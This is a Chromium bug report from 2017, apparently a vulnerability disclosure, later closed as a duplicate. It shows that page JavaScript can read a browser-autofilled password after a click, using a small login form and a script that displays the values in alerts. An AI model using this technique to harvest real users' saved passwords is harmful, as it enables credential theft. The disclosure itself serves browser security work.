Issue metadata
Sign in to add a comment
|
autofill password steal by javascript after click
Reported by
vuln...@gmail.com,
May 25 2017
|
||||||||||||||||||||
Issue descriptionUserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 Steps to reproduce the problem: 1. Build a login page test.html just like this <html> <head> <title>login</title> </head> <body> <div style="text-align: center;"> <form Method="POST" Action="http://localhost/login.php" id="form1" Name="form"> <br/>Login:<br/> <input id="username" name="username"/> <br/>Password:<br/> <input type="password" id="password" name="password"/> <br /> <br /> <input name="Valid" value="Ok" type="submit" /><br /> </form></div> </body> </html> 2. make the login.php return code 200,then try to login and save the password 3.add script to test.html <script > alert(document.getElementById('username').value+'\n'+document.getElementById('password').value) window.onclick=function(){ alert(document.getElementById('username').value+'\n'+document.getElementById('password').value) } </script> 3. the first alert can't get anything but when you click on the white place alert will get username and password What is the expected behavior? javascript should not get autofill password value unless the login button been clicked What went wrong? at first ,js can't get the password value for security (is it?),but after a click on the blank ,js can get autofill password then password maybe steal by xss or some attck work with js not good at english, sorry Did this work before? N/A Chrome version: 58.0.3029.81 Channel: n/a OS Version: OS X 10.12.5 Flash Version: Shockwave Flash 25.0 r0
,
Aug 31 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||
Comment 1 by elawrence@chromium.org
, May 25 2017Status: Duplicate (was: Unconfirmed)
Summary: autofill password steal by javascript after click (was: autofill password steal by javascript)